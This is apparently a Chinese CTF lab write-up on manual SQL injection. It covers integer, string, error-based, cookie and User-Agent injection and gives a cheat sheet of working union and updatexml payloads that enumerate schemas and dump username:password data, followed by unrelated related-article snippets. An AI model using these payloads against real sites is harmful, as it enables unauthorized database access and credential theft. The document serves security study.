web之SQL注入之手工注入

news/2025/1/20 22:39:41/

第一道题是整型注入

这里我们看到让我们输入id试试 输入1 和2都发现有回显并且有相应的数据 但是3

就没有 我们可以判断这里存在SQL注入的整型注入

这里我们用group by判断一下列数 发现列数为2 然后我们可以进行union 联合注入

中间这里爆出来了 数据表名flag 然后我们对数据表名flag进行查询 就得出了flag

![屏幕截图 2025-01-15 195237](C:\Users\22069\Pictures\Screenshots\屏幕截图 2025-01-15 195237.png

知识点 :

sql注入常用知识

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

联合注入类型

-1' union select database() --+ #查询数据库

-1' union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ #查询数据表名

-1' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='' --+ #查询字段名

-1' union select group_concat(username,':',password,';') from '表名' --+ #查询数据

-1 union select 1,version()# 查看数据库版本

order by 和group by都可以判断列数

第二道题字符注入

这里我们不难发现2-1和1的回显是不同的 所以我们判断这是字符注入 并且闭合方式为‘

![屏幕截图 2025-01-15 213602](C:\Users\22069\Pictures\Screenshots\屏幕截图 2025-01-15 213602.png

这里我们还发现了字段数为2 所以在这里我们使用了union联合注入来查询 并且用database发现了其数据库

这里我们爆出了数据表名flag

?id=-1 union select 1,group_concat(flag) from sqli.flag #

这里我们查询数据表flag里面的所有字段 就得出了flag

第三道题是报错注入

  1. 通过extractValue()报错注入

    id=1 and extractvalue(null,concat(0x7e,(select databnullase()),0x7e))

    0x7e在这里就代表了符号----

  1. i通过updateXml()报错注入

    id=1 and 1=updatexml(1,concat('~',(select database())),3) --+

这道题中 我们先输入1发现查询正确没有报错 但输入1'时就报错了

这里我们使用报错注入里的updatexml语句 第二个报错的参数会显示在报错语句中 这里我们用database()爆出了数据库

再用这种方式我们可以爆出数据表名flag

然后再查询flag的全部字段

这里我们会发现爆出来的flag不完整 这里我们需要跳过第一个字符 得到完整的flag

这道题是cookie的注入

还是继续操作 爆出数据表名

-1 union select 1,group_concat(hnfzcfqftx) from sqli.oxnzuvjual

然后再注入查询全部字段 就得到了flag

这道题是ua注入

这里我们先order by发现有两列 注入点在第二点

User-Agent: 123 union select 1,txytfzjnsq from sqli.sulevdvoll

再用前面得到的表名和字段 进行查询就得到了flag


http://www.ppmy.cn/news/1564768.html

相关文章

赛灵思(Xilinx)公司Artix-7系列FPGA

苦难从不值得歌颂,在苦难中萃取的坚韧才值得珍视; 痛苦同样不必美化,从痛苦中开掘出希望才是壮举。 没有人是绝对意义的主角, 但每个人又都是自己生活剧本里的英雄。滑雪,是姿态优雅的“贴地飞行”,也有着成…

HttpClient和HttpGet实现音频数据的高效爬取与分析

一、案例背景 假设我们要爬取一个名为“MusicHub”的音乐网站上的热门歌曲音频数据。MusicHub是一个广受欢迎的音乐平台,提供了丰富的歌曲播放和下载服务。我们的目标是获取该网站上热门歌曲的音频文件,并分析其音频特征,以了解当前的音乐流…

Linux虚拟机安装与FinalShell使用:探索Linux世界的便捷之旅

文章目录 软件准备安装 VMware 虚拟机下载CentOS 光盘镜像文件选择适合的 CentOS 版本选择合适的镜像文件 本教程工具版本 第一部分:安装 Linux 虚拟机1. 启动 VMware 并创建新虚拟机2. 默认硬件兼容性设置3. 安装操作系统的设置4. 选择操作系统类型与版本5. 为虚拟…

Vue2中使用正则表达式限制输入框输入

Vue2中使用正则表达式限制输入框输入 说明工具类测试使用正则表达式限制文本框输入 说明 这里记录下自己在Vue2的项目通过文本输入框的input方法使用正则表达式来限制文本框的输入。这里将自己目前项目里面所用到的正则表达式全部写到一个js里面当做一个工具类使用。这里承接自…

Python编程与在线医疗平台数据挖掘与数据应用交互性研究

一、引言 1.1 研究背景与意义 在互联网技术飞速发展的当下,在线医疗平台如雨后春笋般涌现,为人们的就医方式带来了重大变革。这些平台打破了传统医疗服务在时间和空间上的限制,使患者能够更加便捷地获取医疗资源。据相关报告显示,中国基于互联网的医疗保健行业已进入新的…

【Rust自学】13.5. 迭代器 Pt.1:迭代器的定义、iterator trait和next方法

13.5.0. 写在正文之前 Rust语言在设计过程中收到了很多语言的启发,而函数式编程对Rust产生了非常显著的影响。函数式编程通常包括通过将函数作为值传递给参数、从其他函数返回它们、将它们分配给变量以供以后执行等等。 在本章中,我们会讨论 Rust 的一…

HTML<bdo>标签

例子 指定文本方向&#xff1a; <bdo dir"rtl"> This text will go right-to-left. </bdo> <!DOCTYPE html> <html> <body> <h1>The bdo element</h1> <p>This paragraph will go left-to-right.</p> …

Spring Boot 实战:轻松实现文件上传与下载功能

目录 一、引言 二、Spring Boot 文件上传基础 &#xff08;一&#xff09;依赖引入 &#xff08;二&#xff09;配置文件设置 &#xff08;三&#xff09;文件上传接口编写 &#xff08;一&#xff09;文件类型限制 &#xff08;二&#xff09;文件大小验证 &#xff0…